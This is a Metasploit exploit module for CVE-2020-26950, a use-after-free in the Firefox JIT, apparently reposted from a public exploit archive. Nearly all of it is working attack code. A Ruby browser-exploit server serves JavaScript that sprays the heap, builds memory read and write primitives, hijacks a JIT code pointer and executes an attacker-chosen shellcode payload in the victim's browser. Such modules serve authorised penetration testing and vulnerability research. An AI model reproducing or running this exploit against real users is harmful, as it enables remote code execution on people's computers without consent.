<pre><code>##<br /># This module requires Metasploit: https://metasploit.com/download<br /># Current source: https://github.com/rapid7/metasploit-framework<br />##<br /><br />class MetasploitModule < Msf::Exploit::Remote<br /> Rank = ManualRanking<br /><br /> include Msf::Exploit::Remote::HttpServer::BrowserExploit<br /><br /> def initialize(info = {})<br /> super(<br /> update_info(<br /> info,<br /> 'Name' => 'Firefox MCallGetProperty Write Side Effects Use After Free Exploit',<br /> 'Description' => %q{<br /> This modules exploits CVE-2020-26950, a use after free exploit in Firefox.<br /> The MCallGetProperty opcode can be emitted with unmet assumptions resulting<br /> in an exploitable use-after-free condition.<br /><br /> This exploit uses a somewhat novel technique of spraying ArgumentsData<br /> structures in order to construct primitives. The shellcode is forced into<br /> executable memory via the JIT compiler, and executed by writing to the JIT<br /> region pointer.<br /><br /> This exploit does not contain a sandbox escape, so firefox must be run<br /> with the MOZ_DISABLE_CONTENT_SANDBOX environment variable set, in order<br /> for the shellcode to run successfully.<br /><br /> This vulnerability affects Firefox < 82.0.3, Firefox ESR < 78.4.1, and<br /> Thunderbird < 78.4.2, however only Firefox <= 79 is supported as a target.<br /> Additional work may be needed to support other versions such as Firefox 82.0.1.<br /> },<br /> 'License' => MSF_LICENSE,<br /> 'Author' => [<br /> '360 ESG Vulnerability Research Institute', # discovery<br /> 'maxpl0it', # writeup and exploit<br /> 'timwr', # metasploit module<br /> ],<br /> 'References' => [<br /> ['CVE', '2020-26950'],<br /> ['URL', 'https://www.mozilla.org/en-US/security/advisories/mfsa2020-49/#CVE-2020-26950'],<br /> ['URL', 'https://bugzilla.mozilla.org/show_bug.cgi?id=1675905'],<br /> ['URL', 'https://www.sentinelone.com/labs/firefox-jit-use-after-frees-exploiting-cve-2020-26950/'],<br /> ],<br /> 'Arch' => [ ARCH_X64 ],<br /> 'Platform' => ['linux', 'windows'],<br /> 'DefaultTarget' => 0,<br /> 'Targets' => [<br /> [ 'Automatic', {}],<br /> ],<br /> 'Notes' => {<br /> 'Reliability' => [ REPEATABLE_SESSION ],<br /> 'SideEffects' => [ IOC_IN_LOGS ],<br /> 'Stability' => [CRASH_SAFE]<br /> },<br /> 'DisclosureDate' => '2020-11-18'<br /> )<br /> )<br /> end<br /><br /> def create_js_shellcode<br /> shellcode = "AAAA\x00\x00\x00\x00" + "\x90\x90\x90\x90\x90\x90\x90\x90" + payload.encoded<br /> if (shellcode.length % 8 > 0)<br /> shellcode += "\x00" * (8 - shellcode.length % 8)<br /> end<br /> shellcode_js = ''<br /> for chunk in 0..(shellcode.length / 8) - 1<br /> label = (0x41 + chunk / 26).chr + (0x41 + chunk % 26).chr<br /> shellcode_chunk = shellcode[chunk * 8..(chunk + 1) * 8]<br /> shellcode_js += label + ' = ' + shellcode_chunk.unpack('E').first.to_s + "\n"<br /> end<br /> shellcode_js<br /> end<br /><br /> def on_request_uri(cli, request)<br /> print_status("Sending #{request.uri} to #{request['User-Agent']}")<br /> shellcode_js = create_js_shellcode<br /> jscript = <<~JS<br /> // Triggers the vulnerability<br /> function jitme(cons, interesting, i) {<br /> interesting.x1 = 10; // Make sure the MSlots is saved<br /><br /> new cons(); // Trigger the vulnerability - Reallocates the object slots<br /><br /> // Allocate a large array on top of this previous slots location.<br /> let target = [0,1,2,3,4,5,6,7,8,9,10,11, 12, 13, 14, 15, 16, 17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480, 481, 482, 483, 484, 485, 486, 487, 488, 489]; // Goes on to 489 to be close to the number of properties ‘cons’ has<br /><br /> // Avoid Elements Copy-On-Write by pushing a value<br /> target.push(i);<br /><br /> // Write the Initialized Length, Capacity, and Length to be larger than it is<br /> // This will work when interesting == cons<br /> interesting.x1 = 3.476677904727e-310;<br /> interesting.x0 = 3.4766779039175e-310;<br /><br /> // Return the corrupted array<br /> return target;<br /> }<br /><br /> // Initialises vulnerable objects<br /> function init() {<br /> // arr will contain our sprayed objects<br /> var arr = [];<br /><br /> // We'll create one object...<br /> var cons = function() {};<br /> for(j=0; j<512; j++) cons['x'+j] = j; // Add 512 properties (Large jemalloc allocation)<br /> arr.push(cons);<br /><br /> // ...then duplicate it a whole bunch of times<br /> // The number of times has two uses:<br /> // - Heap spray - Stops any already freed objects getting in our way<br /> // - Allows us to get the jitme function compiled<br /> for (var i = 0; i < 20000; i++) arr.push(Object.assign(function(){}, cons));<br /><br /> // Return the array<br /> return arr;<br /> }<br /><br /> // Global that holds the total number of objects in our original spray array<br /> TOTAL = 0;<br /><br /> // Global that holds the target argument so it can be used later<br /> arg = 0;<br /><br /> evil = 0;<br /><br /> // setup_prim - Performs recursion to get the vulnerable arguments object<br /> // arguments[0] - Original spray array<br /> // arguments[1] - Recursive depth counter<br /> // arguments[2]+ - Numbers to pad to the right reallocation size<br /> function setup_prim() {<br /> // Base case of our recursion<br /> // If we have reached the end of the original spray array...<br /> if(arguments[1] == TOTAL) {<br /><br /> // Delete an argument to generate the RareArgumentsData pointer<br /> delete arguments[3];<br /><br /> // Read out of bounds to the next object (sprayed objects)<br /> // Check whether the RareArgumentsData pointer is null<br /> if(evil[511] != 0) return arguments;<br /><br /> // If it was null, then we return and try the next one<br /> return 0;<br /> }<br /><br /> // Get the cons value<br /> let cons = arguments[0][arguments[1]];<br /><br /> // Move the pointer (could just do cons.p481 = 481, but this is more fun)<br /> new cons();<br /><br /> // Recursive call<br /> res = setup_prim(arguments[0], arguments[1]+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480 );<br /><br /> // If the returned value is non-zero, then we found our target ArgumentsData object, so keep returning it<br /> if(res != 0) return res;<br /><br /> // Otherwise, repeat the base case (delete an argument)<br /> delete arguments[3];<br /><br /> // Check if the next object has a null RareArgumentsData pointer<br /> if(evil[511] != 0) return arguments; // Return arguments if not<br /><br /> // Otherwise just return 0 and try the next one<br /> return 0;<br /> }<br /><br /> // weak_read32 - Bit-by-bit read<br /> function weak_read32(arg, addr) {<br /> // Set the RareArgumentsData pointer to the address<br /> evil[511] = addr;<br /><br /> // Used to hold the leaked data<br /> let val = 0;<br /><br /> // Read it bit-by-bit for 32 bits<br /> // Endianness is taken into account<br /> for(let i = 32; i >= 0; i--) {<br /> val = val << 1; // Shift<br /> if(arg[i] == undefined) {<br /> val = val | 1;<br /> }<br /> }<br /><br /> // Return the integer<br /> return val;<br /> }<br /><br /> // weak_read64 - Bit-by-bit read using BigUint64Array<br /> function weak_read64(arg, addr) {<br /> // Set the RareArgumentsData pointer to the address<br /> evil[511] = addr;<br /><br /> // Used to hold the leaked data<br /> val = new BigUint64Array(1);<br /> val[0] = 0n;<br /><br /> // Read it bit-by-bit for 64 bits<br /> for(let i = 64; i >= 0; i--) {<br /> val[0] = val[0] << 1n;<br /> if(arg[i] == undefined) {<br /> val[0] = val[0] | 1n;<br /> }<br /> }<br /><br /> // Return the BigInt<br /> return val[0];<br /> }<br /><br /> // write_nan - Uses the bit-setting capability of the bitmap to create the NaN-Box<br /> function write_nan(arg, addr) {<br /> evil[511] = addr;<br /> for(let i = 64 - 15; i < 64; i++) delete arg[i]; // Delete bits 49-64 to create 0xfffe pointer box<br /> }<br /><br /> // write - Write a value to an address<br /> function write(address, value) {<br /> // Set the fake ArrayBuffer backing store address<br /> address = dbl_to_bigint(address)<br /> target_uint32arr[14] = parseInt(address) & 0xffffffff<br /> target_uint32arr[15] = parseInt(address >> 32n);<br /><br /> // Use the fake ArrayBuffer backing store to write a value to a location<br /> value = dbl_to_bigint(value);<br /> fake_arrbuf[1] = parseInt(value >> 32n);<br /> fake_arrbuf[0] = parseInt(value & 0xffffffffn);<br /> }<br /><br /> // addrof - Gets the address of a given object<br /> function addrof(arg, o) {<br /> // Set the 5th property of the arguments object<br /> arg[5] = o;<br /><br /> // Get the address of the 5th property<br /> target = ad_location + (7n * 8n) // [len][deleted][0][1][2][3][4][5] (index 7)<br /><br /> // Set the fake ArrayBuffer backing store to point to this location<br /> target_uint32arr[14] = parseInt(target) & 0xffffffff;<br /> target_uint32arr[15] = parseInt(target >> 32n);<br /><br /> // Read the address of the object o<br /> return (BigInt(fake_arrbuf[1] & 0xffff) << 32n) + BigInt(fake_arrbuf[0]);<br /> }<br /><br /> // shellcode - Constant values which hold our shellcode to pop xcalc.<br /> function shellcode(){<br /> #{shellcode_js}<br /> }<br /><br /> // helper functions<br /> var conv_buf = new ArrayBuffer(8);<br /> var f64_buf = new Float64Array(conv_buf);<br /> var u64_buf = new Uint32Array(conv_buf);<br /><br /> function dbl_to_bigint(val) {<br /> f64_buf[0] = val;<br /> return BigInt(u64_buf[0]) + (BigInt(u64_buf[1]) << 32n);<br /> }<br /><br /> function bigint_to_dbl(val) {<br /> u64_buf[0] = Number(val & 0xffffffffn);<br /> u64_buf[1] = Number(val >> 32n);<br /> return f64_buf[0];<br /> }<br /><br /> function main() {<br /> let i = 0;<br /> // ensure the shellcode is in jit rwx memory<br /> for(i = 0;i < 0x5000; i++) shellcode();<br /><br /> // The jitme function returns arrays. We'll save them, just in case.<br /> let arr_saved = [];<br /><br /> // Get the sprayed objects<br /> let arr = init();<br /><br /> // This is our target object. Choosing one of the end ones so that there is enough time for jitme to be compiled<br /> let interesting = arr[arr.length - 10];<br /><br /> // Iterate over the vulnerable object array<br /> for (i = 0; i < arr.length; i++) {<br /> // Run the jitme function across the array<br /> corr_arr = jitme(arr[i], interesting, i);<br /><br /> // Save the generated array. Never trust the garbage collector.<br /> arr_saved[i] = corr_arr;<br /><br /> // Find the corrupted array<br /> if(corr_arr.length != 491) {<br /> // Save it for future evil<br /> evil = corr_arr<br /> break;<br /> }<br /> }<br /><br /> if(evil == 0) {<br /> print("Failure: Failed to get the corrupted array");<br /> return;<br /> }<br /> print("got the corrupted array " + evil.length);<br /><br /> TOTAL=arr.length;<br /> arg = setup_prim(arr, i+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31, 32, 33, 34, 35, 36, 37, 38, 39, 40, 41, 42, 43, 44, 45, 46, 47, 48, 49, 50, 51, 52, 53, 54, 55, 56, 57, 58, 59, 60, 61, 62, 63, 64, 65, 66, 67, 68, 69, 70, 71, 72, 73, 74, 75, 76, 77, 78, 79, 80, 81, 82, 83, 84, 85, 86, 87, 88, 89, 90, 91, 92, 93, 94, 95, 96, 97, 98, 99, 100, 101, 102, 103, 104, 105, 106, 107, 108, 109, 110, 111, 112, 113, 114, 115, 116, 117, 118, 119, 120, 121, 122, 123, 124, 125, 126, 127, 128, 129, 130, 131, 132, 133, 134, 135, 136, 137, 138, 139, 140, 141, 142, 143, 144, 145, 146, 147, 148, 149, 150, 151, 152, 153, 154, 155, 156, 157, 158, 159, 160, 161, 162, 163, 164, 165, 166, 167, 168, 169, 170, 171, 172, 173, 174, 175, 176, 177, 178, 179, 180, 181, 182, 183, 184, 185, 186, 187, 188, 189, 190, 191, 192, 193, 194, 195, 196, 197, 198, 199, 200, 201, 202, 203, 204, 205, 206, 207, 208, 209, 210, 211, 212, 213, 214, 215, 216, 217, 218, 219, 220, 221, 222, 223, 224, 225, 226, 227, 228, 229, 230, 231, 232, 233, 234, 235, 236, 237, 238, 239, 240, 241, 242, 243, 244, 245, 246, 247, 248, 249, 250, 251, 252, 253, 254, 255, 256, 257, 258, 259, 260, 261, 262, 263, 264, 265, 266, 267, 268, 269, 270, 271, 272, 273, 274, 275, 276, 277, 278, 279, 280, 281, 282, 283, 284, 285, 286, 287, 288, 289, 290, 291, 292, 293, 294, 295, 296, 297, 298, 299, 300, 301, 302, 303, 304, 305, 306, 307, 308, 309, 310, 311, 312, 313, 314, 315, 316, 317, 318, 319, 320, 321, 322, 323, 324, 325, 326, 327, 328, 329, 330, 331, 332, 333, 334, 335, 336, 337, 338, 339, 340, 341, 342, 343, 344, 345, 346, 347, 348, 349, 350, 351, 352, 353, 354, 355, 356, 357, 358, 359, 360, 361, 362, 363, 364, 365, 366, 367, 368, 369, 370, 371, 372, 373, 374, 375, 376, 377, 378, 379, 380, 381, 382, 383, 384, 385, 386, 387, 388, 389, 390, 391, 392, 393, 394, 395, 396, 397, 398, 399, 400, 401, 402, 403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414, 415, 416, 417, 418, 419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429, 430, 431, 432, 433, 434, 435, 436, 437, 438, 439, 440, 441, 442, 443, 444, 445, 446, 447, 448, 449, 450, 451, 452, 453, 454, 455, 456, 457, 458, 459, 460, 461, 462, 463, 464, 465, 466, 467, 468, 469, 470, 471, 472, 473, 474, 475, 476, 477, 478, 479, 480);<br /><br /> old_rareargdat_ptr = evil[511];<br /> print("Leaked nursery location: " + dbl_to_bigint(old_rareargdat_ptr).toString(16));<br /><br /> iterator = dbl_to_bigint(old_rareargdat_ptr); // Start from this value<br /> counter = 0; // Used to prevent a while(true) situation<br /> while(counter < 0x200) {<br /> // Read the current address<br /> output = weak_read32(arg, bigint_to_dbl(iterator));<br /><br /> // Check if it's the expected size value for our ArgumentsObject object<br /> if(output == 0x1e10 || output == 0x1e20) {<br /> // If it is, then read the ArgumentsData pointer<br /> ad_location = weak_read64(arg, bigint_to_dbl(iterator + 8n));<br /><br /> // Get the pointer in ArgumentsData to RareArgumentsData<br /> ptr_in_argdat = weak_read64(arg, bigint_to_dbl(ad_location + 8n));<br /><br /> // ad_location + 8 points to the RareArgumentsData pointer, so this should match<br /> // We do this because after spraying arguments, there may be a few ArgumentObjects to go past<br /> if((ad_location + 8n) == ptr_in_argdat) break;<br /> }<br /> // Iterate backwards<br /> iterator = iterator - 8n;<br /><br /> // Increment counter<br /> counter += 1;<br /> }<br /><br /> if(counter == 0x200) {<br /> print("Failure: Failed to get AD location");<br /> return;<br /> }<br /><br /> print("AD location: " + ad_location.toString(16));<br /><br /> // The target Uint32Array - A large size value to:<br /> // - Help find the object (Not many 0x00101337 values nearby!)<br /> // - Give enough space for 0xfffff so we can fake a Nursery Cell ((ptr & 0xfffffffffff00000) | 0xfffe8 must be set to 1 to avoid crashes)<br /> target_uint32arr = new Uint32Array(0x101337);<br /><br /> // Find the Uint32Array starting from the original leaked Nursery pointer<br /> iterator = dbl_to_bigint(old_rareargdat_ptr);<br /> counter = 0; // Use a counter<br /> while(counter < 0x5000) {<br /><br /> // Read a memory address<br /> output = weak_read32(arg, bigint_to_dbl(iterator));<br /><br /> // If we have found the right size value, we have found the Uint32Array!<br /> if(output == 0x101337) break;<br /><br /> // Check the next memory location<br /> iterator = iterator + 8n;<br /><br /> // Increment the counter<br /> counter += 1;<br /> }<br /><br /> if(counter == 0x5000) {<br /> print("Failure: Failed to find the Uint32Array");<br /> return;<br /> }<br /><br /> // Subtract from the size value address to get to the start of the Uint32Array<br /> arr_buf_addr = iterator - 40n;<br /><br /> // Get the Array Buffer backing store<br /> arr_buf_loc = weak_read64(arg, bigint_to_dbl(iterator + 16n));<br /> print("AB Location: " + arr_buf_loc.toString(16));<br /><br /> // Create a fake ArrayBuffer through cloning<br /> iterator = arr_buf_addr;<br /> for(i=0;i<64;i++) {<br /> output = weak_read32(arg, bigint_to_dbl(iterator));<br /> target_uint32arr[i] = output;<br /> iterator = iterator + 4n;<br /> }<br /><br /> // Cell Header - Set it to Nursery to pass isNursery()<br /> target_uint32arr[0x3fffa] = 1;<br /><br /> // Write an unboxed pointer to arguments[0]<br /> evil[512] = bigint_to_dbl(arr_buf_loc);<br /><br /> // Make it NaN-Boxed<br /> write_nan(arg, bigint_to_dbl(ad_location + 16n)); // Points to evil[512]/arguments[0]<br /><br /> // From here we have a fake UintArray in arg[0]<br /> // Pointer can be changed using target_uint32arr[14] and target_uint32arr[15]<br /> fake_arrbuf = arg[0];<br /><br /> // Get the address of the shellcode function object<br /> shellcode_addr = addrof(arg, shellcode);<br /> print("Function is at: " + shellcode_addr.toString(16));<br /><br /> // Get the jitInfo pointer in the JSFunction object<br /> jitinfo = weak_read64(arg, bigint_to_dbl(shellcode_addr + 0x30n)); // JSFunction.u.native.extra.jitInfo_<br /> print(" jitinfo: " + jitinfo.toString(16));<br /><br /> // We can then fetch the RX region from here<br /> rx_region = weak_read64(arg, bigint_to_dbl(jitinfo));<br /> print(" RX Region: " + rx_region.toString(16));<br /><br /> iterator = rx_region; // Start from the RX region<br /> found = false<br /> // Iterate to find the 0x41414141 value in-memory. 8 bytes after this is the start of the shellcode.<br /> for(i = 0; i < 0x800; i++) {<br /> data = weak_read64(arg, bigint_to_dbl(iterator));<br /> if(data == 0x41414141n) {<br /> iterator = iterator + 8n;<br /> found = true;<br /> break;<br /> }<br /> iterator = iterator + 8n;<br /> }<br /> if(!found) {<br /> print("Failure: Failed to find the JIT start");<br /> return;<br /> }<br /><br /> // We now have a pointer to the start of the shellcode<br /> shellcode_location = iterator;<br /> print("Shellcode start: " + shellcode_location.toString(16));<br /><br /> // And can now overwrite the previous jitInfo pointer with our shellcode pointer<br /> write(bigint_to_dbl(jitinfo), bigint_to_dbl(shellcode_location));<br /><br /> print("Triggering...");<br /> shellcode(); // Triggering our shellcode is as simple as calling the function again.<br /> }<br /> main();<br /> JS<br /><br /> jscript = add_debug_print_js(jscript)<br /> html = %(<br /><html><br /><script><br />#{jscript}<br /></script><br /></html><br />)<br /> send_response(cli, html, {<br /> 'Content-Type' => 'text/html',<br /> 'Cache-Control' => 'no-cache, no-store, must-revalidate',<br /> 'Pragma' => 'no-cache', 'Expires' => '0'<br /> })<br /> end<br /><br />end<br /></code></pre>